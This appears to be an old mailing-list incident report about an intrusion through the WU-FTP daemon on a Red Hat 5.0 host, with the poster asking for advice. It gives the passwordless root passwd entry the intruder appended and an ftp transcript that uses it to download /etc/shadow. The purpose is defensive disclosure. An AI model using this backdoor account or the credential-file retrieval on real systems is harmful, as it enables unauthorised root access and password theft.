We had a hacker exploit a weakness in the WU-FTP daemon last night. The
exploit on a machine named "bob" from a machine named "neale"went like
this:
Here's how part of the exploit happened:
By adding an entry to the bottom of the passwd file:
test::0:0:dummyname:/:/bin/bash
without a password marker, our login scripts will not let you login with
a
shell, but they will let you open an ftp connection with root
permissions.
You can then upload or download any file you want. ftp will allow you to
login with a null password so you do not need access to the shadow file
to
exploit this weakness, as the following transcript will show:
neale[29]% ftp bob
Connected to bob....
220 bob... FTP server (Version wu-2.4.2-academ[BETA-15](1) Sat Nov
1 03:08:32 EST 1997) ready.
Name (bob:dniederm): test
331 Password required for test.
Password:
230 User test logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc/
250 CWD command successful.
ftp> get shadow
local: shadow remote: shadow
200 PORT command successful.
150 Opening BINARY mode data connection for shadow (1117 bytes).
226 Transfer complete.
1117 bytes received in 0.00159 secs (6.8e+02 Kbytes/sec)
ftp> bye
221 Goodbye.
neale[30]% whoami
dniederm
neale[31]% more shadow
...
the contents of the shadow file including encrypted passwords would
follow.
The fact that the shadow file is not root writable. Would not have saved
it. Once root access is gained in this way, putting the shadow file back
raises not problems with overwriting a file with 0400 permissions.
Upgrading to BETA-18 (the latest available rpm still permitted this
exploit. The software was installed as part of the default set of rpms
in a Redhat Linux 5.0 distribution.
We are still working to uncover how the hacker managed to append a
passwd entry to the /etc/passwd file. (I'm open to suggestions--at the
time of the attack, bob was set up to be an NFS client but we do not use
NFS in our domain as so it may not have been configured properly. NFS
has since been removed).
We have since replaced wu-ftp with a different ftp server. Here again I
am open to suggestions as to the best low-cost (or no-cost) ftpd
available apart from wu-ftp.
--
********************************
Daryle Niedermayer
Programmer/Analyst
GDS & Associates Systems. Ltd.
400 - 4211 Albert St.
Regina, SK Canada -- S4S 3R6
Phone: 306.586.7832
Fax: 306.585.1514
http://www.gds.ca
********************************
dniederm.vcf < 1K Download |